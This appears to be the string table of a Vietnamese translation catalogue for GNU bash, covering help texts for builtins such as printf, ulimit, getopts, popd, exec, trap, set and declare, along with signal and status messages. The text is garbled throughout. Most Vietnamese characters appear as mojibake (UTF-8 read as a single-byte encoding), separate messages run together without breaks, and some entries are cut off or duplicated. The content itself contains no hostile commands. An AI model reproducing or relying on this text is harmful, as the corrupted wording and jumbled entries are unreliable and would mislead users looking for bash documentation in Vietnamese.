	ÄỊNH_DẠNG là má»™t chuá»—i ký tá»± mà chứa ba kiểu đối tượng:
		• ký tá»± bình thưá»ng	được sao chép sang đầu ra tiêu chuẩn
		• dãy ký tự thoát	00 chuyển đổi và sao chép sang đầu ra tiêu chuẩn
		đặc tả định dạng	mỗi đặc tả gây ra in đối số kế tiếp.

	Thêm vào đặc tả định dạng tiêu chuẩn được diễn tả
	trong printf(1) và printf(3), printf Ä‘á»c được:

		%b	mở rộng dãy thoát kiểu gạch chéo ngược trong đối số tương ứng
		%q	trích dẫn đối số bằng một cách có thể dùng lại được
			làm dữ liệu nhập vào trình bao

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i kiểu ghi hay gán.bash cá»§a GNU, phiên bản %s (%s)
bash của GNU, phiên bản %s-(%s)
Tùy chá»n GNU dài:
Nhóm lại các câu lệnh làm cùng một đơn vị.

	Chạy một tập hợp các câu lệnh trong cùng một nhóm.
	Äây là má»™t phương pháp chuyển hướng
	một tập hợp câu lệnh hoàn toàn.

	Trạng thái thoát:
	Trả lại trạng thái cá»§a câu lệnh cuối cùng được chạy.Dữ liệu nhập HFT bị hoãnCó chế độ màn hình HFTKhông có chế độ màn hình HFTÄã hoàn thành chuá»—i âm thanh HFTChưa đặt biến môi trưá»ng HOME (nhà)Treo máyKhông có tên.V/R sẵn sàngCâu lệnh không được phépyêu cầu thông tinGián Ä‘oạnBị giếtGiấy phép GPLv3+: Giấy Phép Công Cá»™ng GNU phiên bản 3 hay sau <http://gnu.org/licenses/gpl.html>
Äánh dấu biến trình bao không thể thay đổi được.

	Äánh dấu má»—i TÊN là chỉ Ä‘á»c; những giá trị cá»§a TÊN như vậy
	thì không thay đổi được bất chấp việc gán theo sau.
	ÄÆ°a ra GIÃ_TRỊ thì gán GIÃ_TRỊ trước khi đánh dấu là chỉ Ä‘á»c.

	Tùy chá»n:
		-a	tham chiếu đến biến kiểu mảng theo số mũ
		-A	tham chiếu đến biến kiểu mảng kết hợp
		-f	tham chiếu đến chức năng trình bao
		-p	hiển thị danh sách các biến và chức năng vẫn chỉ Ä‘á»c

	Äối số « -- » thì tắt chức năng xá»­ lý tùy chá»n sau nữa.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay TÊN sai.Sá»­a đổi các giá»›i hạn tài nguyên trình bao.

	Cung cấp Ä‘iá»u khiển vá»›i các tài nguyên sẵn sàng
	cho trình bao và các tiến trình được nó tạo,
	trên hệ thống cho phép Ä‘iá»u khiển như vậy.

	Tùy chá»n:
		-S	dùng giá»›i hạn tài nguyên « soft » (má»m)
		-H	dùng giới hạn tài nguyên « hard » (cứng)
		-a	thông báo má»i giá»›i hạn hiện thá»i
		-b	kích cỡ của vùng đệm ổ cắm
		-c	kích cỡ tối đa của tập tin lõi được tạo
		-d	kích cỡ tối đa của từng đoạn dữ liệu của một tiến trình
		-e	mức ưu tiên cao nhất khi định thá»i (« nice »)
		-f	kích cỡ tối đa của của tập tin được ghi bởi trình bao
			và các tiến trình con của nó
		-i	số tối đa các tín hiệu bị hoãn
		-l	kích cỡ tối đa mà một tiến trình có thể khoá vào bộ nhớ
		-m	kích cỡ tối đa của tập hợp nội trú
		-n	số tối đa các bộ mô tả tập tin còn mở
		-p	kích cỡ của vùng đệm ống dẫn
		-q	số tối đa các byte trong hàng đợi thông điệp POSIX
		-r	mức ưu tiên cao nhất khi định thá»i thật
		-s	kích cỡ tối đa của đống
		-t	thá»i gian CPU lâu nhất, theo giây
		-u	số tối Ä‘a các tiến trình cá»§a ngưá»i dùng
		-v	kích cỡ của bộ nhớ ảo
		số tối đa các khoá tập tin

	Nếu đưa ra GIỚI_HẠN thì nó là giá trị mới của tài nguyên được ghi rõ ;
	cũng có ba giá trị GIỚI_HẠN đặc biệt:
		• soft	giá»›i hạn má»m hiện thá»i
		• hard	giá»›i hạn cứng hiện thá»i
		• unlimited	vô hạn
	Không thì in ra giá trị hiện thá»i cá»§a tài nguyên được ghi rõ.
	Không đưa ra tùy chá»n thì giả sá»­ « -f ».

	Giá trị được ghi rõ theo bước 1024-byte, trừ :
		• -t	theo giây
		• -p	theo bước 512-byte
		• -u	số các tiến trình không theo tỷ lệ

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i.Nâng công việc lên trước.

	Nâng lên trước công việc được ÄẶC_TẢ_CÔNG_VIỆC đại diện,
	thì làm cho nó là công việc hiện thá»i.
	Không đưa ra ÄẶC_TẢ_CÔNG_VIỆC
	thì dùng công việc hiện thá»i tùy theo trình bao.

	Trạng thái thoát:
	Trạng thái của câu lệnh được nâng lên trước;
	gặp lỗi thì không thành công.Gửi công việc ra sau.

	Gá»­i ra sau các công việc được má»—i ÄẶC_TẢ_CÔNG_VIỆC đại diện,
	như là công việc được bắt đầu với « & ».
	Không đưa ra ÄẶC_TẢ_CÔNG_VIỆC
	thì dùng công việc hiện thá»i tùy theo trình bao.

	Trạng thái thoát:
	Trả lại thành công nếu chức năng Ä‘iá»u khiển công việc được bật
	và không gặp lỗi.Câu lệnh vô giá trị.

	Không có hiệu ứng: câu lệnh không làm gì.

	Trạng thái thoát:
	Lúc nào cÅ©ng thành công.Chưa đặt biến môi trưá»ng OLDPWD (mật khẩu cÅ©)Phân tích cú pháp cá»§a đối số tùy chá»n.

	Getopts được thủ tục trình bao dùng để phân tích cú pháp
		cá»§a tham số thuá»™c ví trị dưới dạng tùy chá»n.

	OPTSTRING chứa những chữ tùy chá»n cần nhận ra;
	má»™t chữ có dấu hai chấm theo sau thì tùy chá»n mong đợi má»™t đối số,
	mà nên định giới bằng khoảng trắng.

	Má»—i lần được gá»i, getopts sẽ đặt tùy chá»n kế tiếp
		vào biến trình bao $name
		(cũng khởi tạo tên đó nếu nó chưa tồn tại)
		và đặt chỉ mục của đối số kế tiếp cần xử lý
		vào biến trình bao OPTIND.
	OPTIND được sơ khởi thành 1 mỗi lần trình bao
	hay má»™t văn lệnh trình bao được gá»i.
	Khi má»™t tùy chá»n đòi há»i má»™t đối số,
	getopts đặt đối số đó vào biến trình bao OPTARG.

	getopts thông báo lỗi bằng một của hai cách.
	Nếu ký tự đầu tiên của chuỗi OPTSTRING là dấu hai chấm,
	getopts dùng chức năng thông báo lỗi một cách im.
	Bằng chế độ này, không in ra thông điệp lỗi nào.
	Nếu gặp tùy chá»n sai thì getopts đặt vào OPTARG
	ký tá»± tùy chá»n được tìm. Không tìm thấy đối số cần thiết
	thì getopts đặt một dấu hai chấm vào TÊN
	và đặt OPTARG thành ký tá»± tùy chá»n được tìm.
	Nếu getopts không phải ở chế độ im, và gặp tùy chá»n sai,
	thì getopts đặt má»™t dấu há»i « ? » vào TÊN và bỠđặt OPTARG.
	Không tìm thấy tùy chá»n cần thiết thì « ? » được đặt vào TÊN,
	OPTARG bị bỠđặt, và in ra một thông điệp chẩn đoán.

	Nếu biến trình bao OPTERR có giá trị 0,
	thì getopts tắt chức năng in ra thông điệp,
	thậm chí nếu ký tự đầu tiên của chuỗi OPTSTRING
	không phải là dấu hai chấm. OPTERR có giá trị 1 theo mặc định.

Getopts bình thưá»ng phân tích cách tham số thuá»™c vị trí ($0 - $9),
	nhưng nếu đưa ra đối số bổ sung,
	(các) đối số này được phân tích để thay thế.

	Trạng thái thoát:
	Trả lại thành công nếu tìm thấy má»™t tùy chá»n;
	không thành công nếu gặp kết thúc các tùy chá»n,
	hoặc nếu gặp lá»—i.In ra tên cá»§a thư mục hoạt động hiện thá»i.

	Tùy chá»n:
		-L	in ra giá trị của $PWD nếu nó đặt tên
			cá»§a thư mục hoạt động hiện thá»i
		-P	in ra thư mục vật lý, không có liên kết má»m

		Mặc định là « pwd » hoạt động như là « -L » được ghi rõ.

		Trạng thái thoát:
		Trả lại 0 nếu không đưa ra tùy chá»n sai
		và nếu Ä‘á»c được thư mục hiện thá»i.ThoátÄá»c các dòng từ má»™t tập tin vào má»™t biến mảng.

	Äồng nghÄ©a vá»›i « mapfile ».Mục ghi bị khoáNhá»› hoặc hiển thị vị trí cá»§a chương trình.

	Xác định và ghi nhá»› tên đưá»ng dẫn đầy đủ cá»§a má»—i TÊN câu lệnh.
	Nếu không đưa ra đối số, hiển thị thông tin vỠcác câu lệnh được ghi nhớ.

	Tùy chá»n:
		-d	quên vị trí được ghi nhớ của mỗi TÊN
		-l	hiển thị theo một định dạng có thể được dùng lại
			dưới dạng dữ liệu nhập vào
		-p tên_đưá»ng_dẫn	dùng TÊN_ÄÆ¯á»œNG_DẪN là tên đưá»ng dẫn đầy đủ cá»§a TÊN
		-r	quên má»i vị trí được ghi nhá»›
		-t	in ra vị trí được ghi nhớ của mỗi TÊN,
			có nhiá»u TÊN thì cÅ©ng in ra TÊN tương ứng ở trước vị trí

	Äối số:
		TÊN	má»—i TÊN được tìm theo đưá»ng dẫn mặc định $PATH,
		và được thêm vào danh sách các câu lệnh được ghi nhớ.

	Trạng thái thoát:
	Trả lại thành công nếu tìm được TÊN và không đưa ra tùy chá»n sai.Gỡ bá» thư mục khá»i đống.

Gỡ bá» thư mục khá»i đống thư mục.
Không có đối số thì gỡ bá» thư mục đầu khá»i đống,
	và cd (chuyển đổi thư mục) sang thư mục đầu mới.

+N	Gỡ bỠthư mục thứ N (đếm từ bên trái danh sách
	được hiển thị bằng « dirs », bắt đầu từ số không).
	Ví dụ :
		popd +0		gỡ bỠthư mục cuối cùng
		popd +1		gỡ bỠthư mục thứ hai.

-N	Gỡ bỠthư mục thứ N (đếm từ bên phải danh sách
	được hiển thị bằng « dirs », bắt đầu từ số không).
	Ví dụ :
		popd -0		gỡ bỠthư mục cuối cùng
		popd -1		gỡ bỠthư mục giáp cuối.

-n	Thu hồi chức năng chuyển đổi bình thưá»ng khi gỡ bá» thư mục
	khá»i đống, để thao tác chỉ đống.

Dựng sẵn « dirs » thì hiển thị đống thư mục.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra đối số sai,
	cÅ©ng không sai chuyển đổi thư mục.Gỡ bá» má»—i TÊN khá»i danh sách các bí danh đã xác định.

	Tùy chá»n:
		-a	gỡ bá» tất cả các lá»i xác định bí danh.

Trả lại thành công nếu không có TÊN là má»™t bí danh không tồn tại.Gỡ bá» công việc khá»i trình bao Ä‘ang chạy.

	Gỡ bá» má»—i đối số JOBSPEC (đặc tả công việc) khá»i bảng các công việc Ä‘ang chạy.
	Không có JOBSPEC thì trình bao dùng thông tin riêng vỠcông việc đang đang chạy.

	Tùy chá»n:
		-a	gỡ bá» má»i công việc nếu không đưa ra JOBSPEC
		-h	đánh dấu mỗi JOBSPEC để không gửi tín hiệu ngưng kết nối SIGHUP
			cho công việc nếu trình bao nhận được SIGHUP
		-r	gỡ bỠchỉ những công việc đang chạy

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay JOBSPEC sai.Gỡ bá» thư mục khá»i đống thư mục.
Không đưa ra đối số thì gỡ bá» thư mục đầu khá»i đống,
	và chuyển đổi sang thư mục đầu mới.

	Tùy chá»n:
		-n	thu hồi chức năng chuyển đổi thư mục bình thưá»ng
		khi gỡ bá» thư mục khá»i đống, thì chỉ thao tác đống chính nó.

	Äối số :
		+N	gỡ bỠmục thứ N đếm từ bên trái danh sách
			hiển thị bằng « dirs », bắt đầu từ số không.
	Ví dụ : « popd +0 » sẽ gỡ bỠthư mục đầu tiên,
		« popd +1 » gỡ bỠthư mục thứ hai, v.v.

		-N	gỡ bỠmục thứ N đếm từ bên phải danh sách
			hiển thị bằng « dirs », bắt đầu từ số không.
	Ví dụ : « popd -0 » sẽ gỡ bỠthư mục cuối cùng,
		« popd -1 » gỡ bỠthư mục giáp cuối, v.v.

	Dựng sẵn « dirs » sẽ hiển thị đống thư mục.Thay thế trình bao bằng câu lệnh đưa ra.

	Thực thi câu LỆNH, cũng thay thế trình bao này bằng chương trình được ghi rõ.
	Các Äá»I_Sá» trở thành các đối số đối vá»›i câu LỆNH.
	Không đưa ra câu LỆNH thì bất cứ việc chuyển hướng nào
	sẽ xảy ra trong trình bao đang chạy.

	Tùy chá»n:
		-a tên	gửi TÊN cho câu LỆNH dưới dạng đối số thứ không
		-c	thá»±c thi câu LỆNH vá»›i má»™t môi trưá»ng trống
		-l	đặt một dấu gạch vào đối số thứ không đối với câu LỆNH

	Nếu câu LỆNH không thể thực thi được, một trình bao không tương tác
	sẽ thoát ra, nếu không đặt tùy chá»n trình bao « execfail ».

	Trạng thái thoát:
	Trả lại thành công nếu tìm được câu LỆNH và không gặp lá»—i chuyển hướng.Thông báo thá»i gian được chiếm khi ống dẫn thá»±c thi.

	Thá»±c thi PIPELINE (ống dẫn) và in ra bản tóm tắt thá»i gian thật,
	thá»i gian CPU cá»§a ngưá»i dùng, và thá»i gian CPU cá»§a hệ thống
	00 chiếm khi thực thi ống dẫn, khi ống dẫn chấm dứt.

	Tùy chá»n:
		-p	in ra bản tóm tắt đếm thá»i gian
			theo định dạng POSIX có thể mang theo

	Giá trị cá»§a biến TIMEFORMAT (định dạng thá»i gian)
	được dùng làm định dạng kết xuất.

	Trạng thái thoát:
	Trạng thái trả lai là trạng thái trả lại của PIPELINE.Tiếp tục lại chạy vòng lặp kiểu trong, trong khi hay đến khi.

	Tiếp tục lại lần lặp lại kế tiếp cá»§a vòng lặp bao bá»c
		kiểu TRONG, TRONG KHI hay ÄẾN KHI.
	ÄÆ°a ra N thì tiếp tục chạy vòng lặp bao bá»c thứ N.

	Trạng thái thoát:
	Trạng thái thoát là 0 nếu N không nhỠhơn hay bằng 1.Tiếp tục lại công việc ở trước.

	Tương đương vá»›i đối số ÄẶC_TẢ_CÔNG_VIỆC vá»›i câu lệnh « fg ».
	Tiếp tục lai má»™t công việc bị dừng chạy hay chạy vá» ná»n.
	ÄẶC_TẢ_CÔNG_VIỆC có thể ghi rõ hoặc má»™t tên công việc,
	hoặc một số thứ tự công việc.
	Äặt má»™t « & » theo sau ÄẶC_TẢ_CÔNG_VIỆC sẽ đặt công việc vá» ná»n,
	như là đặc tả công việc đã được cung cấp dưới dạng một đối số với « bg ».

	Trạng thái thoát:
	Trả lại trạng thái của công việc đã tiếp tục lại.Trả lại một kết quả thành công.

	Trạng thái thoát:
	Lúc nào cũng thành công.Trả vỠkết quả không thành công.

	Trạng thái thoát:
	Lúc nào cũng không thành công.Trả lại từ một chức năng trình bao.

	Gây ra một chức năng hay văn lệnh từ nguồn sẽ thoát
	với giá trị trả lại được N ghi rõ.
	Không đưa ra N thì trạng thái trả lại thuộc vỠcâu lệnh cuối cùng
		được chạy bên trong chức năng hay văn lệnh.

	Trạng thái thoát:
	Trả lại N, hoặc bị lỗi nếu trình bao không đang chạy
		má»™t chức năng hay văn lệnh.Trả vá» ngữ cảnh cá»§a cuá»™c gá»i hàm phụ hiện thá»i.

	Không có B_THỨC thì trả lại « $line $filename ».
	Có B_THỨC thì trả lại « $line $subroutine $filename »;
	thông tin thêm này có thể được dùng để cung cấp vết đống.

	Giá trị cá»§a B_THỨC thì ngụ ý bao nhiêu khung gá»i cần lùi lại
đằng trước khung hiện tại; khung đầu là khung 0.

	Trạng thái thoát:
	Trả lại 0 nếu trình bao đang chạy chức năng trình bao,
		B_THỨC cÅ©ng hợp lệ.Trả lại ngữ cảnh cá»§a lá»i gá»i thưá»ng trình con hiện thá»i.

    Không có BTHá»°C thì trà lại Äang chạyLá»—i chia ra từng Ä‘oạnChá»n từ trong má»™t danh sách, và thá»±c thi câu lệnh.

WORDS được mở rộng, mà tạo một danh sách các từ.
Tập hợp các từ đã mở rộng được in trên đầu lỗi tiêu chuẩn.
	mỗi từ có con số đi trước.
Không có « in WORDS » thì giả sử « in "$@" ».
Dấu nhắc PS3 thì được hiển thị, và má»™t dòng được Ä‘á»c
	từ đầu vào tiêu chuẩn.
Nếu dòng này là số tương ứng với một của những từ được hiển thị,
	TÊN sẽ được đặt thành từ đó.
Dòng rỗng thì hiển thị lại WORDS và dấu nhắc.
Äá»c kết thúc tập tin thì chạy xong câu lệnh đó.
Bất cứ giá trị khác nào được Ä‘á»c sẽ gây ra TÊN được đặt thành vô giá trị.
Dòng được Ä‘á»c sẽ được lưu lại vào biến REPLY (trả lá»i).
Các CÂU_LỆNH được thá»±c hiện sau khi chá»n má»—i đồ,
	đến khi một lệnh gián đoạn được thực hiện.

	Trạng thái thoát:
	Trả lại trạng thái của câu lệnh cuối cùng được chạy.Gửi một tín hiệu cho một công việc.

	Gửi cho những tiến trình được mã số hay đặc tả công việc đại diện
	tín hiệu được SIGSPEC hay SIGNUM được đặt tên.
	Không đưa ra SIGSPEC, cũng không đưa ra SIGNUM,
	thì giả sử SIGTERM.

	Tùy chá»n:
		-s TTH	TTH là một tên tín hiệu
		-n STH	STH là một số thứ tự tín hiệu
		-l	liệt kê các tên tín hiệu ;
			nếu có đối số theo sau « -l », thì giả sử mỗi đối số
			là số thứ tự tin hiệu cho đó nên liệt kê tên

	Kill là một dựng sẵn trình bao vì hai lý do :
	nó cho phép dùng mã số công việc thay cho mã số tiến trình,
	và cho phép giết tiến trình nếu tới giới hạn số các tiến trình
	được phép tạo.
	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay gặp lá»—i.Äặt các tổ hợp phím và biến kiểu Readline.

	Tổ hợp một dãy phím với một chức năng hay vĩ lệnh kiểu Readline,
		hoặc đặt một biến Readline.
	Cú pháp đối số khác tùy chá»n cÅ©ng tương đương vá»›i cú pháp
		trong « ~/.inputrc », nhưng phải được gửi dưới dạng
		một đối số riêng lẻ.
		Ví dụ : bind '"\C-x\C-r": re-read-init-file'.

	Tùy chá»n:
		-m sơ_đồ_phím	dùng sơ đồ phím này làm sơ đồ phím
			trong khoảng thá»i gian chạy câu lệnh này.
		Tên sơ đồ phím hợp lệ:
			emacs, emacs-standard, emacs-meta,
			emacs-ctlx, vi, vi-move, vi-command,
			vi-insert
		-l	liệt kê các tên chức năng
		-P	liệt kê các tên và tổ hợp của chức năng
		-p	liệt kê các chức năng và tổ hợp theo một định dạng
			có thể dùng lại được làm dữ liệu nhập vào
		-S	liệt kê các dãy phím mà gá»i vÄ© lệnh và giá trị tương ứng
		-S	liệt kê các dãy phím mà gá»i vÄ© lệnh và giá trị tương ứng
			theo một định dạng có thể dùng lại được
			làm dữ liệu nhập vào
		-q tên_chức_năng	há»i những phím nào gá»i chức năng này
		-u tên_chức_năng	tháo tổ hợp tất cả các phím tổ hợp
			với chức năng này
		-r dãy_phím	gỡ bỠtổ hợp đối với dãy phím này
		-f tên_tập_tin	Ä‘á»c các tổ hợp phím từ tập tin này
		-x dãy_phím:lệnh_trình_bao	chạy câu lệnh trình bào này
			khi dãy phím này được nhập vào

	Trạng thái thoát:
	bind trả lại 0 nếu không đưa ra tùy chá»n không nhận ra hay gặp lá»—i.Äặt và bỠđặt các tùy chá»n trình bao.

	Thay đổi thiết lập cá»§a má»—i tùy chá»n trình bao có TÊN_TÙY_CHỌN.
	Không có đối số tùy chá»n thì liệt kê tất cả các tùy chá»n trình bao,
	cÅ©ng ngụ ý má»—i tùy chá»n được đặt hay không.

	Tùy chá»n:
		-o	hạn chế TÊN_TÙY_CHỌN thành những tên được xác định
		để sử dụng với « set -o »
		-p	in ra má»—i tùy chá»n trình bao, cÅ©ng ngụ ý trạng thái cá»§a nó
		-q	thu hồi kết xuất
		-u	tắt (bỠđặt) mỗi TÊN_TÙY_CHỌN

	Trạng thái thoát:
	Trả lại thành công nếu TÊN_TÙY_CHỌN được bật;
	không thành công nếu đưa ra tùy chá»n sai hay TÊN_TÙY_CHỌN bị tắt.Äặt thuá»™c tính xuất khẩu cho biến trình bao.

	Äánh dấu má»—i TÊN để tá»± động xuất vào môi trưá»ng cá»§a câu lệnh được chạy vá» sau.
	ÄÆ°a ra GIÃ_TRỊ thì gán GIÃ_TRỊ trước khi xuất ra.

	Tùy chá»n:
		-f	tham chiếu đến chức năng trình bao
		-n	gỡ bá» thuá»™c tính xuất khẩu khá»i má»—i TÊN
		-p	hiển thị danh sách các biến và chức năng Ä‘á»u được xuất ra

	Äối số « -- » thì tắt chức năng xá»­ lý tùy chá»n sau nữa.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hay TÊN sai,Äặt hay bỠđặt giá trị cá»§a tùy chá»n trình bao và tham số thuá»™c vị trí.

	Sửa đổi giá trị của thuộc tính trình bao và tham số thuộc vị trí,
	hoặc hiển thị tên và giá trị của biến trình bao.

	Tùy chá»n:
		-a	đánh dấu các biến được tạo hay sửa đổi để xuất ra
		-b	thông báo ngay vỠcông việc bị chấm dứt
		-e	thoát ngay nếu câu lệnh thoát với trạng thái khác số không
		-f	tắt chức năng tạo tên tập tin (glob)
		-h	nhớ vị trí của mỗi câu lệnh khi nó được dò tìm
		-k	má»i đối số gán được đặt vào môi trưá»ng cho má»™t câu lệnh,
			không phải chỉ những đối số nằm trước tên câu lệnh
		-m	bật chức năng Ä‘iá»u khiển công việc
		-n	Ä‘á»c câu lệnh mà không thá»±c thi
		-o tên_tùy_chá»n	đặt biến tương ứng vá»›i tùy chá»n này:
			• allexport	bằng -a
			• braceexpand	bằng -B
			• emacs	dùng một giao diện chỉnh sửa dòng kiểu emacs
			• errexit	bằng -e
			• errtrace	bằng -E
			• functrace	bằng -T
			• hashall	bằng -h
			• histexpand	bằng -H
			• history	bật lược sử câu lệnh
			• ignoreeof	trình bao sẽ không thoát khi Ä‘á»c ký tá»± kết thúc tập tin
			• interactive-comments	cho phép ghi chú trong câu lệnh tương tác
			• keyword	bằng -k
			• monitor	bằng -m
			• noclobber	bằng -C
			• noexec	bằng -n
			• noglob	bằng -f
			• nolog	hiện thá»i được chấp nhận nhưng bị bá» qua
			• notify	bằng -b
			• nounset	bằng -u
			• onecmd	bằng -t
			• physical	bằng -P
			• pipefail	giá trị trả lại của một ống dẫn
				là trạng thái của câu lệnh cuối cùng
				thoát với trạng thái khác số không,
				hay số không nếu không có câu lệnh
				thoát với trạng thái khác số không
			• posix	thay đổi ứng xử của bash
				mà thao tác mặc định khác với tiêu chuẩn Posix,
				để tùy theo tiêu chuẩn
			• privileged	bằng -p
			• verbose	bằng -v
			• vi	dùng một giao diện chỉnh sửa kiểu vi
			• xtrace	bằng -x
		-p	bật khi nào mã số thật và mã số có kết quả
			không tương ứng với nhau.
			Tắt tính năng xử lý tập tin $ENV
			và nhập chức năng trình bao.
			Việc tắt tùy chá»n này thì gêy ra UID và GID có kết quả
			được đặt thành UID và GID thật.
		-t	thoát sau khi Ä‘á»c và thá»±c thi má»™t câu lệnh
		-u	xử lý biến chưa đặt là lỗi khi thay thế
		-v	in ra má»—i dòng nhập vào trình bao khi nó được Ä‘á»c
		-x	in ra mỗi câu lệnh và đối số tương ứng
			khi nó được thực thi
\t-B	trình bao sẽ mở rộng các dấu ngoặc móc
		-C	đặt thì không cho phép ghi đỠlên tập tin bình thưá»ng
			đã tồn tại bằng cách chuyển hướng kết xuất
		-E	đặt thì bẫy ERR được chức năng trình bao kế thừa
		-H	bật chức năng thay thế kiểu !
			CỠnày được đặt theo mặc định khi trình bao tương tác
		-P	đặt thì không theo liên kết tượng trưng
			khi thực thi câu lệnh như cd mà chuyển đổi thư mục hiện tại
		-T	đặt thì bẩy DEBUG (gỡ lỗi) được chức năng trình bao kế thừa
		-	gán bất cứ đối số còn lại nào cho những tham số thuộc vị trí.
			Hai tùy chá»n « -x » và « -v » Ä‘á»u bị tắt.

	Việc dùng « + » hơn là « - » thì gây ra các cỠnày bị tắt.
	Các cá» cÅ©ng có thể được dùng khi gá»i trình bao.
	CÅ©ng có thể tìm thấy tập cá» hiện thá»i trong « $- ».
	Các đối số còn lại là tham số thuộc vị trí,
	và được gán (theo thứ tự) cho $1, $2, .. $n.
	Không đưa ra đối số thì in ra má»i biến trình bao.

	Trạng thái thoát:
	Trả lại thành công nếu không gặp tùy chá»n sai.Äặt các giá trị và thuá»™c tính cá»§a biến.

	Tuyên bố mỗi biến và gán cho nó một số thuộc tính.
	Không đưa ra TÊN thì hiển thị các thuá»™c tính và giá trị cá»§a má»i giá trị.

	Tùy chá»n:
		-f	hạn chế hành động, hoặc hiển thị đối với tên và mô tả của chức năng
		-F	hiển thị chỉ đối với tên chức năng
			(và số thứ tự dòng và tập tin nguồn khi gỡ lỗi)
		-p	hiển thị các thuộc tính và giá trị của mỗi TÊN

	Tùy chá»n cÅ©ng đặt thuá»™c tính:
		-a	đặt TÊN là mảng theo số mũ (nếu được hỗ trợ)
		-A	đặt TÊN là mảng kết hợp (nếu được hỗ trợ)
		-i	đặt TÊN có thuộc tính « integer » (số nguyên)
		-l	chuyển đổi TÊN sang chữ thưá»ng khi được gán
		-r	đặt TÊN là chỉ Ä‘á»c
		-t	đặt TÊN có thuộc tính « trace » (theo vết)
		-u	chuyển đổi TÊN sang chữ hoa khi được gán
		-x	đặt TÊN xuất

	Dùng « + » thay cho « - » thì tắt thuộc tính đưa ra.

	Biến có thuá»™c tính số nguyên thì định giá theo số há»c
		(xem câu lệnh « let ») khi biến có giá trị được gán.

	Khi dùng trong chức năng, « declare » (tuyên bố) đặt TÊN là cục bộ,
		như khi dùng câu lệnh « local » (cục bộ).


	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai hoặc gặp lá»—i.Äặt các giá trị và thuá»™c tính cá»§a biến.

	Quá cÅ©. Xem « help declare ».Câu lệnh trình bao tương ứng vá»›i từ khoá `Tùy chá»n trình bao :
Dá»i tham số thuá»™c vị trí.

	Thay đổi tên của tham số thuộc vị trí $N+1,$N+2 ... đến $1,$2 ...
	Không đưa ra N thì giả sử nó là 1.

	Trạng thái thoát:
	Trả lại thành công nếu N không âm hay lớn hơn $#.Tín hiệu %dBị dừngBị dừng (tín hiệu)Bị dừng (tty nhập)Bị dừng (tty xuất)Bị dừng(%s)Ngưng chạy trình bao.

	Ngưng chạy trình bao này đến khi nó nhận tín hiệu tiếp tục (SIGCONT).
	Nếu không ép buộc thì không thể ngưng chạy trình bao kiểu đăng nhập.

	Tùy chá»n:
		-f	ép buộc việc ngưng, thậm chí nếu trình bao có kiểu đăng nhập

	Trạng thái thoát:
	Trả lại thành công nếu chức năng Ä‘iá»u khiển công việc đã được bật, và không gặp lá»—i.ÄỊNH DẠNG THỜI GIAN: « %c »: ký tá»± định dạng không hợp lệBị chấm dứtThư tín trong %s đã được Ä‘á»c
Vẫn có công việc đang chạy.
Vẫn có công việc bị dừng.
KHÔNG BẢO ÄẢM GÃŒ CẢ, vá»›i Ä‘iá»u kiện được pháp luật cho phép.
Những câu lệnh trình bao này được xác định nội bộ. Hãy gõ :
 • help		để xem danh sách này.
 • info bash	để tìm thêm thông tin chung vỠtrình bao.
 • man -k	} • info		} để tìm thêm thông tin vỠlệnh không có trong danh sách này.

Dấu sao « * » bên cạnh tên thì ngụ ý nó bị tắt.

Äây là phần má»m tá»± do thì bạn có quyá»n sá»­a đổi và phát hành lại nó.
Bắt các tín hiệu và dữ kiện khác.

	Xác định và kích hoạt các bộ xử lý cần chạy khi trình bao
	nhận được tín hiệu hay Ä‘iá»u kiện khác.

	Äá»I_Sá» là má»™t câu lệnh cần Ä‘á»c và thá»±c thi khi trình bao
	nhận được (các) tín hiệu ÄẶC_TẢ_TÃN_HIỆU.
	Nếu không đưa ra Äá»I_Sá»
	(và cung cấp chỉ má»™t ÄẶC_TẢ_TÃN_HIỆU riêng lẻ),
	hoặc đưa ra « - », mỗi tín hiệu được ghi rõ
	thì được đặt lại vỠgiá trị gốc.
	Nếu Äá»I_Sá» là chuá»—i vô giá trị
	thì má»—i ÄẶC_TẢ_TÃN_HIỆU bị bá» qua
	bởi trình bao và những câu lệnh nó gá»i.

	Nếu đưa ra má»™t ÄẶC_TẢ_TÃN_HIỆU là EXIT (0),
	thì Äá»I_SỠđược thá»±c thi khi thoát khá»i trình bao.
	Nếu đưa ra má»™t ÄẶC_TẢ_TÃN_HIỆU là DEBUG,
	Äá»I_SỠđược thá»±c thi đằng trước má»—i câu lệnh đơn giản.

	Tùy chá»n:
		-l	in ra danh sách các tên tín hiệu và số thứ tự tương ứng
		-p	hiển thị các câu lệnh bắt tương ứng vá»›i má»—i ÄẶC_TẢ_TÃN_HIỆU

	Má»—i ÄẶC_TẢ_TÃN_HIỆU là hoặc má»™t tên tín hiệu trong <signal.h>,
	hoặc một số thứ tự tín hiệu.
	Tên tín hiệu không phân biệt chữ hoa/thưá»ng,
	và không bắt buá»™c phải dùng tiá»n tố « SIG ».
	Có thể gửi cho trình bao một tín hiệu,
	dùng « kill -signal $$ ».

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra ÄẶC_TẢ_TÃN_HIỆU sai
	hay tùy chá»n sai.Gõ câu lệnh trợ giúp « %s -c "help set" » để xem thêm thông tin vá» các tùy chá»n trình bao.
Gõ câu lệnh trợ giúp « %s -c help » để xem thêm thông tin vỠcác câu lệnh trình bao dựng sẵn.
Không rõ tín hiệu #Không rõ tín hiệu #%dLỗi không rõKhông rõ trạng tháiBỠđặt giá trị và thuộc tính của biến và chức năng của trình bao.

	Äối vá»›i má»—i TÊN, gỡ bá» biến hay chức năng mà tương ứng.

	Tùy chá»n:
		-f	Ä‘á»c má»—i TÊN dượi dạng má»™t chức năng trình bao
		-v	Ä‘á»c má»—i TÊN dượi dạng má»™t biến trình bao

	Không có tùy chá»n thì chức năng bỠđặt sẽ thá»­ bỠđặt má»™t biến,
	và nếu không thành công, sau đó thử bỠđặt một chức năng.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra tùy chá»n sai, và TÊN không chỉ Ä‘á»c.Äiá»u kiện VR gấpSá»­ dụng:	%s [tùy chá»n GNU dài] [tùy chá»n] ...
